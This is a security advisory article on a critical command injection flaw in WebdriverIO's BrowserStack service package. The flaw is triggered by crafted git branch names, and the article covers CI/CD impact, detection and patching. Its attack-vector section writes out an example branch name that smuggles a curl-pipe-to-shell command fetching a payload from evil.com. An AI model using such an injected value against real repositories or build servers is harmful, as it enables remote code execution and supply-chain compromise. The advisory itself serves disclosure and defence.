Critical Command Injection Vulnerability Discovered in WebdriverIO Framework

WebdriverIO Flaw (CVSS 9.8) Allows CI/CD Takeover via Malicious Git Branches

CRITICAL
May 13, 2026
4m read
VulnerabilitySupply Chain AttackPatch Management

Related Entities

Products & Tech

Other

BrowserStack

CVE Identifiers

CVE-2026-25244
CRITICAL
CVSS:9.8

Full Report

Executive Summary

A critical command injection vulnerability, CVE-2026-25244, has been disclosed in WebdriverIO, a widely used open-source framework for automating web and mobile application testing. The flaw, which has been assigned a CVSS score of 9.8, resides in a service integration package for the BrowserStack testing cloud. It allows for arbitrary command execution by processing maliciously crafted git branch names. This vulnerability poses a severe risk to software development environments, as its exploitation could lead to the complete compromise of a developer's workstation or, more critically, a Continuous Integration/Continuous Delivery (CI/CD) build server, providing a powerful vector for a software supply chain attack.

Vulnerability Details

  • CVE ID: CVE-2026-25244
  • CVSS Score: 9.8 (Critical)
  • Vulnerability Type: Command Injection
  • Affected Package: @wdio/browserstack-service
  • Attack Vector: The vulnerability is triggered when the @wdio/browserstack-service package processes a git branch name during test orchestration. An attacker can create a git branch with a name that includes shell commands (e.g., feature/new-button;$(curl -sL evil.com/payload.sh|sh)). When the vulnerable WebdriverIO service reads this branch name and uses it in a shell command without proper sanitization, the injected command is executed on the underlying system.

Affected Systems

Any project that uses the WebdriverIO framework along with the @wdio/browserstack-service package is potentially vulnerable. The vulnerability affects the machine where the WebdriverIO tests are executed, which could be:

  • A local developer workstation.
  • A CI/CD build server (e.g., Jenkins, GitHub Actions, GitLab CI).

Exploitation Status

As of the time of reporting, there is no evidence of active exploitation in the wild. However, given the simplicity of the exploit and the high-value targets (CI/CD systems), it is highly likely that threat actors will begin scanning for and attempting to exploit this vulnerability.

Impact Assessment

A successful exploit of CVE-2026-25244 could have devastating consequences. If exploited on a CI/CD server, an attacker could:

  • Steal Credentials and Secrets: Build servers often contain highly sensitive credentials for accessing source code repositories, artifact registries, and production environments.
  • Inject Malicious Code: An attacker could modify the source code or the build process to inject a backdoor or malware into the final software product, leading to a sophisticated supply chain attack.
  • Pivot into Production: Using stolen credentials, the attacker could move from the build environment into production systems.

Compromise of a developer's machine is also critical, as it provides access to source code, credentials, and a trusted point from which to launch further attacks within the organization.

Detection Methods

  • Dependency Scanning: Use a Software Composition Analysis (SCA) tool like Snyk or Dependabot to scan your projects for vulnerable versions of the @wdio/browserstack-service package.
  • CI/CD Log Monitoring: Monitor CI/CD build logs for unusual shell commands being executed or for build processes that fail with strange errors. Look for the execution of unexpected processes like curl, wget, or bash during the test phase.
  • Git Branch Monitoring: While difficult to do at scale, be wary of pull requests or commits that introduce unusually formatted or suspicious-looking branch names.

Remediation Steps

  1. Update Immediately: The primary remediation is to update the @wdio/browserstack-service package to a patched version. Developers should consult the WebdriverIO project's security advisories for the specific fixed version number.
  2. Input Sanitization: As a general best practice, all external input, including git branch names, should be treated as untrusted and properly sanitized or validated before being used in any command-line operations.
  3. Harden CI/CD Environments: Build jobs should run with the least privilege necessary. Network access from build runners should be restricted to only essential endpoints. This is an application of D3FEND's Platform Hardening (D3-PH) and Outbound Traffic Filtering (D3-OTF).

Timeline of Events

1
May 13, 2026
The command injection vulnerability CVE-2026-25244 in WebdriverIO is publicly disclosed.
2
May 13, 2026
This article was published

MITRE ATT&CK Mitigations

The most direct mitigation is to update the affected @wdio/browserstack-service package to a patched version.

Running build jobs in ephemeral, isolated containers can limit the impact of a compromise, preventing attackers from gaining persistent access or moving laterally.

This vulnerability is a classic example of injection. Strict input validation and sanitization on any data that will be used in a shell command is a fundamental exploit protection technique.

Timeline of Events

1
May 13, 2026

The command injection vulnerability CVE-2026-25244 in WebdriverIO is publicly disclosed.

Sources & References

9.8 Severity Alert: Malicious Git Branches Can Hijack Your WebdriverIO Build Servers
Daily Cybersecurity (dailycybersecurity.com) May 13, 2026
WebdriverIO Security Policy
GitHub (github.com) May 25, 2025
webdriverio - Snyk Vulnerability Database
Snyk (snyk.io) May 13, 2026

Article Author

Jason Gomes

Jason Gomes

• Cybersecurity Practitioner

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.

Threat Intelligence & AnalysisSecurity Orchestration (SOAR/XSOAR)Incident Response & Digital ForensicsSecurity Operations Center (SOC)SIEM & Security AnalyticsCyber Fusion & Threat SharingSecurity Automation & IntegrationManaged Detection & Response (MDR)

Tags

WebdriverIOcommand injectionCI/CD securityDevSecOpssupply chain attackopen sourcevulnerability

📢 Share This Article

Help others stay informed about cybersecurity threats

🎯 MITRE ATT&CK Mapped

Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.

🧠 Enriched & Analyzed

Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.

🛡️ Actionable Guidance

Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.

🔗 STIX Visualizer

Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.

Sigma Generator

Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.